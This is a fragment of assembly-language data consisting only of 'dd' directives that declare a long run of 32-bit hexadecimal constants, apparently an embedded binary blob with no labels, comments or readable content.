dd 6DCD3E7Fh, 0A44D27CFh, 0D272E215h, 21BCEC8Ch, 0A5F903D2h
dd 0D4C81422h, 0D81926C0h, 3E462176h, 0BD00EA91h, 0A6BB192Eh
dd 0BC061895h, 1B2A57C8h, 1E810041h, 0E735B2E2h, 320A2D8Fh
dd 0B8602963h, 0D3622B01h, 918F5317h, 0A9E0D071h, 0FC8EB5C8h
dd 8CC9DEEh, 3D12215Ah, 20063C9h, 0FE4BFD7Eh, 0E13C07DCh
dd 3825A6ECh, 0DCBEDF0Ah, 0B609044h, 0EFE61A21h, 0A176448Ch
dd 0F30020F2h, 0F2F41B9Bh, 3FD54412h, 45004764h, 1F9CC083h
dd 8C098207h, 50B19F6h, 0AC096B5Fh, 10789561h, 8C23CA62h
dd 0E1C0A59Eh, 0C6FCB73Ch, 0A80C2845h, 2DF4688h, 0C8A563BCh
dd 106C3195h, 563D51Eh, 0A88CF222h, 77C847FDh, 9017B605h
dd 10A40290h, 0BDD76CA0h, 245560Ch, 7EDD90E2h, 0F0D89969h
dd 0C78FFD53h, 5C8853h, 0FC9F5F50h, 16ECD6FAh, 29A01F67h
dd 229DA01Ah, 6517C880h, 19296F6h, 70C0EB81h, 10A8A293h
dd 6FC351h, 925D401Ch, 63E1193Dh, 86D5790Ch, 3A235084h
dd 0E4509AAEh, 0DDC0A191h, 6308B618h, 0C4A5C8A3h, 0CF1C4065h
dd 0F54763h, 69BD0AFDh, 29CE5A31h, 0C6D8121Ch, 2CF78C80h
dd 500EF3C7h, 187BA8F8h, 0F937D16Bh, 0C960C5DEh, 2972A918h
dd 6508045h, 3E25A20h, 0EC90FB7h, 290ADD02h, 0AC94D97Ah
dd 1ADEC806h, 7B700C29h, 2E18643Dh, 94152B2Ah, 0A4F46500h
dd 5859787Dh, 907700D3h, 2C4FD029h, 0A7014825h, 0D4642A79h
dd 0F460E1FBh, 99C938Fh, 780420DAh, 909C98E7h, 0E1A288h
dd 774F5820h, 6EAB8673h, 0EEC91406h, 98ECB2h, 16FC1EB1h
dd 6CAF738h, 0D9C2F3F8h, 0C989FD4Ah, 0B0F9D6C0h, 7AA51882h
dd 0A80370B4h, 697B87h, 0E5430509h, 0C9CC883Ch, 0FCC5D500h
dd 32B53EF1h, 0B1FE0047h, 0CDF852C6h, 0EB055B35h, 8AAEDD76h
dd 15A1F428h, 90240656h, 4021B21Fh, 0E2708AAAh, 0FA49BBD5h
dd 95CA0398h, 10AEC893h, 3F9C2A0h, 0BF0D04D9h, 8A58041Bh
dd 14C229Dh, 0A64BCA9Eh, 0DE686050h, 38E3638Eh, 590AF6C9h
dd 0D04CF22Bh, 0F5423D03h, 1B806A2h, 0F189A9A3h, 8416EA00h
dd 0B0E23B0h, 1DFD00C3h, 27D75D9Dh, 31F45778h, 6B1BC1C1h
dd 1C204329h, 32AEF818h, 9A9073A6h, 0E7E4E465h, 0DB819160h
dd 4C58B900h, 6BC3DD40h, 998A60A9h, 0AE45F59Eh, 808D5005h
dd 0AC312402h, 4AF403B4h, 4F660117h, 12D4E15Ah, 1C944118h
dd 8F5E7FEh, 1AC0C84Ch, 46770C19h, 0ED2226h, 0CC1922A1h
dd 0A9A094E8h, 41E96A12h, 1423A028h, 0BC8B5173h, 3E28A840h
dd 20404A76h, 84A98D26h, 9C92AA44h, 20BC44D8h, 9F083871h
dd 2FE4EE3h, 8AE4AEF0h, 1EA9F4A3h, 9CD8A7E3h, 3F64BD72h
dd 0EC8CC630h, 55744A27h, 0AF216820h, 0FCF9984Dh, 0D4738980h
dd 0B744D630h, 10EC8948h, 44426A19h, 6416EF0Ch, 2F009B59h
dd 78041507h, 0E89EF0h, 0C2EFCB6Fh, 0D14EE13h, 23B471Dh
dd 49C8D0Bh, 1B61C7E4h
dd 2E77F819h, 0A2E8448Ch, 47192300h, 0B6E38141h, 8F0C14AEh
dd 77A0E01Ah, 20607B0Dh, 1AE0618h, 2880817Ch, 84B2800Ch
dd 1D95F0E4h, 0FCD9E82Dh, 7D412200h, 0B22C9CA1h, 0C47C74E4h
dd 3927B101h, 491851B5h, 417FE987h, 37EAD1CFh, 0E857C9D9h
dd 0A0A0A76Bh, 4B7E6CADh, 0DD777B09h, 7FF0256Eh, 7AC8D4CBh
dd 0B76EFBC0h, 0FFE71394h, 1EA03071h, 6D88312Ah, 5F48016Bh
dd 6C8A7B4h, 50C2C6Eh, 0F3C2980Ch, 80A91682h, 0C464F67Ch
dd 8AEC9Dh, 0F0AB35D4h, 3D1EDDA5h, 1340A40Fh, 0A8780A12h
dd 74232C1h, 39EA44Ch, 4E8AC06h, 1AB9DDA2h, 72BC5772h
dd 0E0014B4Ah, 7EFD3E69h, 0B4101FF3h, 940589A9h, 98536448h
dd 0A0E9F200h, 6A06D7F0h, 8BC99ECh, 56065E6Dh, 98E92EE2h
dd 289101B8h, 0F7DD7309h, 0ABAC482Dh, 20D6028Ch, 0DC470B25h
dd 9E408051h, 2CD720DDh, 45CB805h, 0FFB36D6h, 26D183F7h
dd 1EC83A18h, 0AE5C8CC0h, 0ECD7855Ch, 2219AEC6h, 1724D1B2h
dd 0E5800C55h, 8384F9B3h, 7F0601BDh, 1413D2FBh, 7E443622h
dd 3B48CA01h, 0AF6ABC0Eh, 0ECBC6828h, 17A9248Ch, 0FFE44048h
dd 40036BD4h, 854B57ADh, 1C37C88Ch, 769E190Bh, 63057880h
dd 4192C0Ch, 9EEEC8C0h, 795080B0h, 535C19EAh, 131F10D4h
dd 36AE2472h, 5D178C08h, 0CE0B8079h, 38CC594Ch, 442A3160h
dd 753FFB14h, 1BBB80DEh, 70F89827h, 0A5AD3C6Eh, 0CCC8C91Fh
dd 1AB152EAh, 0FF78D00h, 95B6AA31h, 68D54CD7h, 6C85F508h
dd 48A34D50h, 79C14C0Bh, 4192F305h, 8153CE58h, 0F63DA2F9h
dd 54228082h, 0D817611h, 187D5E9Eh, 9BEC5859h, 926D226Ah
dd 4814DB00h, 7249AB2Ah, 2E7F4AD8h, 37523E0h, 58ABC20Ah
dd 49A67898h, 5CE12815h, 9B8C82CCh, 18F4A4CEh, 76FD8C8h
dd 4C698F42h, 0A75FE1F4h, 36DD31CFh, 429B0430h, 8D6460A9h
dd 0D0D060F8h, 8C052284h, 0D6DEF610h, 0F4E11DA1h, 8CA0621Ah
dd 2001747h, 7E29A9BFh, 4F8F1C6h, 0A46CF983h, 7914CC19h
dd 0CCBED53Ch, 0D4B1A0BCh, 2C24924Eh, 74FC531Ch, 4106ED46h
dd 0C0AF4EAEh, 86C3120h, 0C086D680h, 100B1250h, 5773E96h
dd 0B18D3180h, 5417B088h, 598C56h, 4454114Fh, 0AF016380h
dd 0A797000h, 0A7D2E331h, 0E9CD00CBh, 0DDC5297Eh, 7898918Dh
dd 0A87DE224h, 0AD088452h, 2720D860h, 0DC370B12h, 0A400E8CAh
dd 5B7520DFh, 9600933Dh, 0B6B398AFh, 2E429C48h, 50203F99h
dd 0F3503DB2h, 0F0F30BA0h, 18C7BF06h, 6386F552h, 0A5580C59h
dd 7FA07662h, 34D6D106h, 19F0C4D5h, 2995DDF5h, 257020D2h
dd 48CC395Dh, 76AA0AF0h, 0ED04E416h, 0D10115A6h, 400326B2h
dd 1C06F5A2h, 0A7E03D3Dh, 0AC400FEh, 0A85D6EA6h, 41BAED88h
dd 7AF6F084h, 84B86848h, 830025A6h, 0EE49349Bh, 0C0C0FCF2h
dd 957053Ch, 0C4408223h, 0B06B9B1h, 0A70D04F2h, 0A9E73C39h
dd 982AED25h, 8D4674C0h, 85ADF3Bh, 24C0CE94h, 4A76D619h
dd 0BB3C2C36h, 79192C0Bh, 3675807Dh, 3006CB60h, 0A3C0EBE2h
dd 40509542h, 0AE3D51A4h, 0FB051629h, 3E80845Dh, 9BC921E7h
dd 52FA1A1Fh, 0A8497830h, 0E5730072h, 6CC54F3Dh, 1C8A948Ch
dd 57881020h, 0BAC8C704h, 2E0E624Eh, 1F1068E4h, 5C689E2Ch
dd 0A2005946h, 0E5A19EB2h, 8A092ECBh, 4558057Bh, 8761304h
dd 0A90329C0h, 0C88A0D71h, 4AED6A9Ch, 81487442h, 594F158h
dd 0FB77460h, 0A6E11232h, 4AB4470Eh, 0F93FA33Bh, 4627D2B1h
dd 3106A1ABh, 0A90E9B84h, 5A510011h, 41450944h, 3048FE42h
dd 836D106Ch, 5DDFF50Dh, 23ACE429h, 988AE63Dh, 3D686942h
dd 0C00D7B52h, 0FC8DF921h, 39069BB9h, 0CB16EEC9h, 4AA507A0h
dd 0F1B568F0h, 34FA0E48h, 7809E040h, 0B287A305h, 11349774h
dd 603181ECh, 0D06144C0h, 0EF233400h, 0D8AA4C6Fh, 0D848EA58h
dd 635D6A60h, 82557B27h, 0BC583C80h, 7F028C58h, 2B567D75h
dd 0D954E0EAh, 4498A28Dh, 64470098h, 0D2CCB86Ah, 0DB693AD6h
dd 0DC280280h, 302A239Ah, 0DF02E97Ah, 999C3735h, 644233h
dd 0DE56E028h, 3C29CF43h, 0E42A2304h, 0AA729274h, 0ABA9D001h
dd 0BBB15D7Dh, 211A0898h, 920291E4h, 0B98419E1h, 0DDBC41BCh
dd 0D458E03Dh, 84B6B022h, 7EB465Eh, 0D6CAB18Fh, 6FBC6089h
dd 44C1207Bh, 0A40229D3h, 2DF9206h, 66607450h, 560CFC64h
dd 28FB65DDh, 0BC7D5927h, 2EDDA85h, 6C65B528h, 0A986A818h
dd 0DCC49DA0h, 98DAFEC1h, 2C0E76BAh, 0AC4DB8Ch, 64A0775Fh
dd 729B4131h, 0C4226301h, 4AE4D6C1h, 0A8B01030h, 0AAF502BDh
dd 6C91056Ah, 96ACE03Ah, 30948C07h, 0B2F1004Eh, 2C7493C6h
dd 150052C7h, 0A78EDC20h, 0B3A9CF42h, 0F1101531h, 890E928Eh
dd 0C076F967h, 855960E7h, 60D5EEE9h, 0B183A9AEh, 0C62519F1h
dd 5BAC22CAh, 9A50C0F5h, 9D47005Ah, 1218C46Ch, 93F371Ah
dd 8D0E0A83h, 5F40A89Ch, 28631CFh, 4AD02824h, 84450FCh
dd 180BD246h, 770ADA19h, 40EEC4C4h, 0DB19209Fh, 0E7B23C0Bh
dd 0E61AB0CCh, 4079A888h, 6189379h, 90ABB212h, 0C2D4D008h
dd 0EC4163CFh, 22D026CDh, 5137D6Dh, 0E50EE63h, 0F978B0E6h
dd 3910FCF9h, 17A2052Fh, 80799124h, 2661FBD3h, 9D590B2Ch
dd 242554A2h, 817400DDh, 0FAD4D6BDh, 82102361h, 0CE205EE2h
dd 0EEB875C1h, 55D70C6Ah, 67385228h, 0A608758h, 0A4E1B18Ch
dd 0D2088CB8h, 4881650h, 0DED57980h, 0FA10A41Bh, 496C7F48h
dd 0B829BC94h, 904D7A48h, 418B0573h, 82F45690h, 0E059EDBFh
dd 8206FF09h, 0F96AE0h, 0E0563BA3h, 5276F61Ah, 0A278C0F8h
dd 10F0A420h, 961D198h, 0A63C592Bh, 6A14AACh, 5EDD72B2h
dd 0D10FF090h, 56656AB7h, 0D51E78D0h, 0AAF48EC4h, 16A5AF38h
dd 2CC4B825h, 0D04C7CCEh, 0E6801F4Bh, 52C603FCh, 5BA3099Ch
dd 306BCDEAh, 18BC2E93h, 2A0568F0h, 6C08F0Dh, 0B04527C7h
dd 0F55998D0h, 0DC2F5BBCh, 4E005923h, 54404970h, 3F0203D1h
dd 0C96ED019h, 2AC949Ch, 78281BC0h, 5E8A852h, 6A855099h
dd 0FC8944C9h, 0CFE98C09h, 94FBE450h, 0EA021C5Eh, 1430139h
dd 0D4F9AEF4h, 7640089Dh, 10924CE6h, 2ACB2681h, 4268B93Dh
dd 15738905h, 0E0D8F56Bh, 66501143h, 73101B08h, 9840611Dh
dd 5389069h, 0F37976DCh, 68F001C5h, 44C12EDEh, 0BAF827C4h
dd 63A1CF98h, 78ADC8A6h, 0D41FB0B4h, 62C90363h, 1445A35Bh
dd 81411090h, 0CC72DE16h, 0AC59B492h, 8CE160ECh, 0A763BA05h
dd 0A4F2C5C8h, 63D310C0h, 0CC99888Dh, 79623B80h, 4FA4F27h
dd 22FE0B18h, 90688281h, 0F91E54C0h, 4750B282h, 60654440h
dd 24D91E3Bh, 0FC19537h, 66596E2h, 0A37CD0E6h, 8912C707h
dd 0C5D8AADh, 0CAE33F40h, 0C0BC6501h, 0B7FEF2F8h, 0F77DD1FCh
dd 0D7A20400h, 5E7E6A8Dh, 0AC8A026h, 7DD22DF6h, 0AD8CC0A1h
dd 571711EBh, 829C9180h, 0F069A7BEh, 2D9D8D0Fh, 42B1EE59h
dd 0E899E3BFh, 4D9048DCh, 0D123FC7Fh, 0D5041913h, 2CD81E77h
dd 21A088E9h, 0C9A91900h, 423F8B7Bh, 85C4891h, 0A04DA83Ch
dd 44087C00h, 52262BC2h, 4FE80D77h, 4C147D24h, 91D0172Fh
dd 0A8D38A6Dh, 2F7F208h, 7F8B4550h, 0D7581845h, 80CCB976h
dd 0CE4E9D13h, 8B014FB2h, 2239F789h, 1023B82Fh, 0CC40FB00h
dd 0BDE14D4Ah, 19D2A901h, 0E4DCF4B8h, 0C44E8C28h, 0D938D8F2h
dd 0B282009h, 9774C53Fh, 7A1701A3h, 0C4418743h, 0A61CCFACh
dd 4AC61580h, 0A0E06A71h
dd 91F40E58h, 48CC0494h, 78DA57B7h, 45973D80h, 4C091BABh
dd 0D1B86Fh, 16796A48h, 1353741Dh, 2030DF05h, 1EF89EF8h
dd 0EC19297Ah, 1C187CBAh, 905842ECh, 0A88F1848h, 3EF6D164h
dd 5F10FA04h, 0F8D8A71Bh, 24F449C9h, 0D980743Ah, 0F233F76h
dd 8E4C6217h, 0FB4C0085h, 396329B3h, 0C89187h, 55A17950h
dd 6E5876A5h, 0A98689C4h, 625482E8h, 70840980h, 20B0CDE3h
dd 49C06AEEh, 953CB15Eh, 4C6D31Eh, 2EB2E2Ch, 0A1527A27h
dd 132B2190h, 0C34B4180h, 0B7BB1EE3h, 0B9D2AF00h, 0FF2CE7A9h
dd 6A86126Dh, 8828CE3Ch, 574CC06Dh, 0EC926ADCh, 71E69E11h
dd 0D6D05032h, 5C9B18D0h, 99282A0Ch, 24A90A3Eh, 9E943Dh
dd 5DEAE50Eh, 87286559h, 7E20CCD5h, 40DEFE77h, 0B7C2276h
dd 0E802E4Dh, 6221CAAAh, 898DE142h, 51587190h, 41110C7Ah
dd 20686C5Fh, 96060983h, 4479B3DBh, 0F4986093h, 4EFA81EDh
dd 0EDD02520h, 60ECC464h, 0EFED7749h, 6838CC75h, 0C09CDA4Bh
dd 262E80BAh, 13221FFFh, 9F40820Dh, 4F0C6E3h, 270034A4h
dd 0FAAAC84Dh, 0B84CBE1Ch, 5FCD2160h, 1609BECEh, 41E410F8h
dd 9F09073h, 0D5AE0721h, 299004C0h, 0D11458B4h, 49E210E8h
dd 0B391F90Fh, 4EDD3D23h, 174E159h, 295EA951h, 405E215Dh
dd 82E52610h, 5B63908h, 5854B21Dh, 0CC425E2Ch, 0E18C7260h
dd 0BC208BEEh, 0EC72E7B2h, 0DED51002h, 0F042B142h, 8A7A6E60h
dd 9EFA3D02h, 0B2E46EE3h, 89B46094h, 1C7C808Ah, 0D800989Ah
dd 6042FB6Bh, 64ED7B6Fh, 0E2502086h, 0DBC61010h, 962FB850h
dd 21A667ACh, 0E8BA9BCh, 92ADF000h, 80EF3C2Ch, 0F30BDC00h
dd 17850F96h, 2261C06Eh, 0B7FC5451h, 58342800h, 60BCA6E8h
dd 0FE5B0ECCh, 0EC629EACh, 0A8E65746h, 5D4AA908h, 0D6D10258h
dd 20D9D4A3h, 0CC233809h, 4DE81EF8h, 853447A4h, 0D8E8CB55h
dd 0F81DD860h, 585416Ah, 0AC147F40h, 507C2828h, 4CB5A819h
dd 47101D51h, 1800C90Ch, 8EBC0A5Bh, 52D34CF5h, 8861B8D6h
dd 123191DCh, 504E2713h, 0B9182079h, 165B1D00h, 88A6DC3Eh
dd 8B5E2671h, 6BBD0998h, 0A7DDBC49h, 11441DD8h, 0CED6801Fh
dd 98842C55h, 71B226BCh, 0D2A300E4h, 2ED4F8E2h, 0BA7F0C9Ah
dd 1614DF58h, 0F021CC5Ah, 788B5E08h, 549D80C5h, 5080E891h
dd 0DFD2CFAEh, 94D4F424h, 0E8871545h, 0B91870F9h, 809F9C64h
dd 27D06629h, 0FB0C5880h, 848887Dh, 200C6011h, 1FD07ED7h
dd 0DD9B1A00h, 0AC8980B9h, 0C7C0156h, 0D4DA61A9h, 0E009D191h
dd 4A002AFFh, 35251678h, 0CC3D1E08h, 50218208h, 154A1200h
dd 0A62AE865h, 0FA0A00AEh, 63CBDA43h, 46061603h, 7637C7E3h
dd 0D59F0030h, 0EB22E787h, 0AB1C9278h, 2AC01AEFh, 25CED350h
dd 170500CCh, 0AF887E22h, 5B01D565h, 4EC2444h, 0EF1D914h
dd 945080F6h, 7B642CEh, 0C12AFC1Bh, 7E835F9Dh, 71006237h
dd 46C3DF41h, 19E805F8h, 8D5E09Ch, 3F218068h, 5874C3E7h
dd 0E2C6006Fh, 1E7FD95Bh, 0BD3BA4B6h, 0C7DE0059h, 0DA21680Bh
dd 8876149Dh, 903A40Eh, 2E201BB5h, 94F81800h, 1684FB37h
dd 0CFD3F8B1h, 0BC159891h, 6413BF00h, 37045F1Ch, 30601118h
dd 775449h, 2D9BEAC4h, 4A0BACEFh, 0D7700500h, 631A5753h
dd 147EF656h, 0D45D959Eh, 24C0E488h, 4616664Ah, 3B92215h
dd 8A4A2C5Ah, 0CF0F93h, 0BE7E95C0h, 7359EB00h, 40FC160Ch
dd 0B3B0A03Ch, 8A4D1824h, 3561C8F5h, 0B01F80h, 0E3112F4Fh
dd 0A994A0Ch, 4129D9CEh, 508024D0h, 27223826h, 0D079D400h
dd 2454E918h, 0E80E09CCh, 3C037E23h, 804030BBh, 0E08B44F0h
dd 0A16D0FB1h, 31B22A4Ch, 7A304178h, 802B11D0h, 80108878h
dd 0D7D072CBh, 113F3C23h, 0CFFC5EC1h, 9EB34200h, 60AC29C6h
dd 898C310Fh, 88AC74C5h, 4A2BC0DBh, 2D46167Bh, 511C8322h
dd 68C04A13h, 0A30ADFEDh, 0E85601DDh, 19A47840h, 0C716C48Bh
dd 0A4766B2Ah, 25483E8h, 5C3292FCh, 3F72886h, 22B91F7Ch
dd 12F89167h, 0BC79C41Dh, 10E05B18h, 13288182h, 4F029077h
dd 0AFDF881Fh, 15104CF4h, 8417E294h, 63B18206h, 0F60A3060h
dd 0B40B88CCh, 3709002Bh, 4B88206Dh, 0AA2FF8h, 0BD4E5B95h
dd 6234B787h, 0FA1EE7E2h, 0B4C3926Ch, 51499E2h, 0A4E3E661h
dd 8CA582F6h, 2A428CA0h, 767B1E15h, 0AAEBA903h, 0B06A8BE3h
dd 0F85469A4h, 1B7509D9h, 4042879h, 0C86C8F85h, 8A0EC08Ch
dd 8B09EE14h, 70FE863h, 0A1BD98C8h, 715FE0h, 166D3FA0h
dd 902CC303h, 0F329FA00h, 0D194F419h, 12DC90F1h, 11139F2Ah
dd 0EC05D090h, 84D3A27Ah, 8DCAC160h, 2108985Ch, 76414221h
dd 576800A2h, 0A92F60CBh, 6C65BC06h, 0B440783Ch, 64D28DF7h
dd 887C3ECAh, 180F8C1Ah, 0E646E894h, 644A2602h, 7C940516h
dd 4A2E5C00h, 32467DD0h, 2CC1488Ah, 8FC0322h, 0BFF058F5h
dd 0B00E010Ch, 84190h, 0DAE974FCh, 1A1DE87Eh, 9C206C28h
dd 1FC841E1h, 1AC0225Dh, 84B01030h, 0BD417F94h, 0DE3643E0h
dd 184F0869h, 23D07364h, 26114880h, 0D07CC900h, 6FEFFD8Ah
dd 0EC3DCB05h, 886636BFh, 9D481260h, 0D490619Fh, 27C18088h
dd 2482A576h, 1DEC03D6h, 7A5AC694h, 301AB026h, 0A44BB943h
dd 4077A014h, 0B11138E3h, 0FA044213h, 8A806D8Ch, 43C42D4h
dd 27AC0BE3h, 883FF4C8h, 6A023E85h, 7DB7399Ch, 8280A08h
dd 2E44FC6Fh, 0DEA24560h, 11A4B523h, 4C4F0024h, 8A9A72A2h
dd 7D470284h, 0EA5CECF0h, 7CDED480h, 0E036C408h, 669C10EEh
dd 916B70CFh, 24F93772h, 8A3076E4h, 0BEC4590Dh, 0A26615E0h
dd 4023D8A4h, 2AD07B01h, 0A4336080h, 0D073CA80h, 0E018298h
dd 344A3C2Eh, 3020866Ch, 86940D7h, 0B609218h, 3A1871h
dd 0E006CAEFh, 0A294E646h, 3449FC06h, 35A1651Ah, 610399h
dd 4224754Bh, 1B076CF0h, 0F409FAC4h, 3C803604h, 72020DD0h
dd 0E1C0A094h, 0F58C20BCh, 0FC227490h, 4444A731h, 5127601Dh
dd 5F0100BEh, 0E4A9AA14h, 9B118D0Eh, 40010961h, 0C99856CEh
dd 0F738873Eh, 8A108085h, 5465DB81h, 4494B873h, 9E60D53Bh
dd 0D3CF5D41h, 1B483029h, 7C4DEA30h, 884C9588h, 89486C37h
dd 410851B0h, 0C5E496B0h, 60804318h, 59228D83h, 461890F6h
dd 4A2716E7h, 0B10D1C09h, 5D108D18h, 0EB014A2Fh, 9980AAC8h
dd 0B8857FB7h, 0C172FABDh, 3556A0h, 2437D989h, 12309264h
dd 0C46860C8h, 4E00CE95h, 0A58F647Dh, 3FE29380h, 8BAAC9BCh
dd 0D5FD22C8h, 84A40E7Ah, 0F0203C98h, 6AD79027h, 311C1992h
dd 55CD3F8h, 3CD8701Eh, 899F79F9h, 855E1088h, 8EC501A5h
dd 37F7ADA8h, 0B5282474h, 9CBD7A0Fh, 34CD00ACh, 32F91F07h
dd 6E60A9F2h, 9170972Bh, 0C39B80B8h, 1725248h, 886387D1h
dd 2028FC13h, 0BC163048h, 0E05C90BDh, 17C8EC84h, 409B98C8h
dd 115D235Fh, 45D4BD60h, 46620370h, 0BC0BC478h, 177092FDh
dd 8A9BF120h, 0B51200AEh, 645AFB41h, 3FB8BD10h, 49FAC909h
dd 0C0F8822Dh, 992000E2h, 907AD7h, 0F1E0BE50h, 48AAEA44h
dd 7245478h, 0D9F81ECh, 89407C10h, 8BC18548h, 0ED18A630h
dd 0A18C3B50h, 67D8397h, 80D292E4h, 0D090C43Bh, 58050984h
dd 84DA118Ch, 46812038h, 102A04A6h, 913761h, 27C1EFC8h
dd 9C0CCE40h, 0F13F0EEDh, 762085E7h, 2647F6C6h, 0ACC8201h
dd 0F58188B7h, 12B4A424h, 82DF4F3h, 0CCA0B24Ch, 4F217D67h
dd 0AFA8C9FFh, 141636A0h
dd 14052513h, 0B830C7D9h, 0C3155E2h, 0EF4FCDDh, 5471D5D8h
dd 0BEAA6901h, 34B4CC25h, 4A32FC48h, 916C014Bh, 4C13E482h
dd 78C8C12Ch, 0E8B6C217h, 0BC638320h, 561801Dh, 4C203466h
dd 0F623141h, 82E9C710h, 7C1BB131h, 11E04137h, 41DBCC30h
dd 0C7045474h, 78C0C844h, 43B5D1A2h, 4F4C805Ch, 142FEEA2h
dd 2035D1C0h, 68C38B8h, 90138B11h, 0A898C801h, 0B88F520h
dd 7AEB378Dh, 7E5C9682h, 807154C8h, 0E7CD806h, 0B1484283h
dd 18B8D98Ch, 0B2190278h, 7B7017C0h, 0AF085BC0h, 0B8E5615h
dd 814C488Ch, 1460C6BDh, 0A0EAA842h, 3B102C0h, 3628C55Bh
dd 81A888FAh, 32370F44h, 8519601Fh, 950804C5h, 0E080A075h
dd 0F8028211h, 3701FCB6h, 4183771Ch, 0BF890A01h, 0F2549951h
dd 3186E824h, 0D95C9148h, 3F891C86h, 90F0DF99h, 44C44894h
dd 0A891F925h, 865184Eh, 708028D0h, 0C84F13C4h, 0BA30D040h
dd 0F812D536h, 0E40B0524h, 8BB898AAh, 408243h, 37882154h
dd 0D96C611Ah, 0F1870E2Fh, 0C888622Bh, 0DE8C8336h, 0F0A460E6h
dd 0B13EB34h, 7C4F3814h, 2217304Ch, 8E42181h, 88684BA1h
dd 1D92C010h, 0BB243A2Ch, 0B408BC96h, 35048923h, 86406494h
dd 0C9D0188Bh, 89804965h, 8841D730h, 1C35E412h, 447E24A2h
dd 0CA2979F0h, 872620A8h, 0E71A8820h, 0F7B180C1h, 7C3602D6h
dd 581A4AEh, 301C7860h, 1091AA7Ch, 60198379h, 0A000BA9Eh
dd 3B6E8E0h, 0C7532893h, 0E02ACC61h, 1FA80838h, 0CAB3AD00h
dd 2821021Ah, 10A41716h, 925C013Fh, 61E454DEh, 0B24C63F8h
dd 0C79E308Ah, 2E091B78h, 87FC0766h, 909A9938h, 0F750381h
dd 149F26EBh, 432349D9h, 0AF559A00h, 54017917h, 65F7981Fh
dd 643DEC24h, 403D6012h, 0F6819A28h, 0A500ADC7h, 0D165D7DBh
dd 5FE2E4Fh, 898EC6E3h, 0CE0C2D0h, 5E1BB520h, 9128B435h
dd 0C3DE807Fh, 8CFDF845h, 13E6F44h, 0B6A0C3E6h, 9C3B926Bh
dd 67D13740h, 218A7613h, 5081D5B4h, 21CB5584h, 0F40B100h
dd 59C64B64h, 0C07CABh, 0C9787261h, 9F2B5CC4h, 0B9125875h
dd 30C18B86h, 0E5E38CFAh, 5970081Ah, 18257964h, 35902A6h
dd 2346A0D4h, 0FDEA5863h, 0D80B8B01h, 3A4AAC38h, 1272320h
dd 67D1699Dh, 0DF806FD4h, 128B081Bh, 5326A063h, 952890ECh
dd 7203352Fh, 859E2A92h, 4FB990F7h, 0B70D0BE3h, 0C810886h
dd 2CA594F8h, 0C4984DDCh, 7488880Eh, 37E2FE19h, 0C4D0E46Bh
dd 1E2E00FCh, 9EACE3B6h, 66FA407Ch, 0DC261B8Ah, 7A42D82Ah
dd 6BB501FBh, 11618180h, 5F37B182h, 8C022038h, 5DFD9E7Eh
dd 8AD120D3h, 0EECDFDFCh, 9B18029Fh, 41C69465h, 6952F8E1h
dd 0E447A1Ch, 88631AE3h, 0AC529037h, 80681245h, 0C8C6DBCh
dd 34610154h, 2B007861h, 0DCF46BE5h, 14C2606h, 7705F7F8h
dd 2D6F7337h, 0B86300F4h, 8C4EA9AFh, 0E7390B90h, 0A00E2914h
dd 0BE0555A8h, 44A4C598h, 51532DB9h, 4F22EC24h, 6F5F852Ah
dd 8BCC98D2h, 0E434450Ch, 0DCB7601Dh, 8ED50538h, 86296E3Ah
dd 90021F0h, 0E499E8D7h, 15812F9Bh, 0C4F5B40Eh, 88503715h
dd 95C1E000h, 4EED9211h, 0EBB9181Ch, 19C037C0h, 0B6AEE593h
dd 139640DCh, 7B001A7Fh, 0CC5F8471h, 1EBA02EBh, 1D8D568Ch
dd 0D3224005h, 35E00BC7h, 0BE2ED8A0h, 80184B3Ch, 0A11A6717h
dd 0D3F2890Eh, 8880CE50h, 63A5C78Bh, 0C1C478C4h, 0F93CE37Ch
dd 0C84C72B6h, 90D59719h, 3061EE0h, 0EC51C300h, 83FE10CDh
dd 3E79EBh, 0FFC01D56h, 1C898CD3h, 16047092h, 0DAE050CCh
dd 231DB0C2h, 51009DD4h, 0E1244C76h, 5C8CC4DAh, 0D32AAC7Ah
dd 0D11C91E8h, 7E701824h, 0F8BF0466h, 818CF5BCh, 621037F8h
dd 0EB1F2484h, 0E877D501h, 0DC326BC7h, 4D8CF806h, 0C08130F4h
dd 99198C66h, 0BF611Ah, 0C381415Fh, 34DCAA2Eh, 4E302307h
dd 62FEF071h, 847A7372h, 7E40029Ch, 0CC942B44h, 0B0B6FCF4h
dd 0A47F8143h, 0E32A6C8Ah, 2D846E8h, 167A4A28h, 60D47135h
dd 524A105Eh, 4018F832h, 0C5DCE1BFh, 4AC486D0h, 102044EBh
dd 0A430417Fh, 7442974Dh, 0E6C6206Eh, 4F50D81Fh, 0F7881458h
dd 0E9CA148Dh, 5A2198BDh, 82319C04h, 0C03B501h, 10DC2934h
dd 0D848FC8Dh, 3C918022h, 44984420h, 4C8D852Ch, 993D5C2h
dd 8E1D08Ch, 3D48EC12h, 0C703544Fh, 0DA55C0C4h, 0E1949845h
dd 72D5420h, 0E050C0B0h, 4987248h, 0C88B38B8h, 17FBD811h
dd 4CD881Eh, 0C21FE9B0h, 482CAA24h, 0B6982837h, 3644A90h
dd 0FD821F24h, 0EF83C4F3h, 268A803Bh, 0A008B425h, 4034299Bh
dd 7EFBFAC2h, 568F8E13h, 8623F83Eh, 0FB1A2407h, 0E2DC9080h
dd 0F43D28BCh, 940206ECh, 0D00839FDh, 378B49Bh, 0EFC8049Bh
dd 0E43EF8F4h, 5D2E9948h, 4676D0D2h, 948A018Ch, 13885128h
dd 0C2436D1h, 68E0F959h, 4F70960Fh, 8D092A60h, 0A41820CDh
dd 8428BCEDh, 0D4F20549h, 4075371Ch, 22029DA8h, 9AA062BAh
dd 0B4011EFEh, 0A45829E7h, 1C208EC5h, 0A1080165h, 346A13E9h
dd 99689417h, 9E4680F8h, 488075C7h, 922046Bh, 102DDF02h
dd 8FEB4CC4h, 965985ECh, 0B8A5B406h, 0AB0C0658h, 6073D968h
dd 9DE4B117h, 29B8FC21h, 0E89CD182h, 0AC408532h, 0D15C2AC1h
dd 11447A34h, 4F3F1405h, 33F12012h, 0A42C19C4h, 128C3EBCh
dd 47360A6h, 0F95E9A8h, 0A8D1D237h, 0F9801998h, 32EC7972h
dd 730030F7h, 0E2FCA931h, 7526CB86h, 0D48415AEh, 7D00EC94h
dd 52B7DE3Eh, 4500BCF7h, 24D7F83h, 4864CCF6h, 0DE001C25h
dd 802FD08Bh, 0DCB2DF99h, 3E19461Dh, 0F6824830h, 4970E8AAh
dd 0D50B902Bh, 0CC17B20h, 5CB2046Eh, 2E308CF2h, 791924EDh
dd 0D980938h, 936C3898h, 0B889802Eh, 64FE9442h, 0D6B00018h
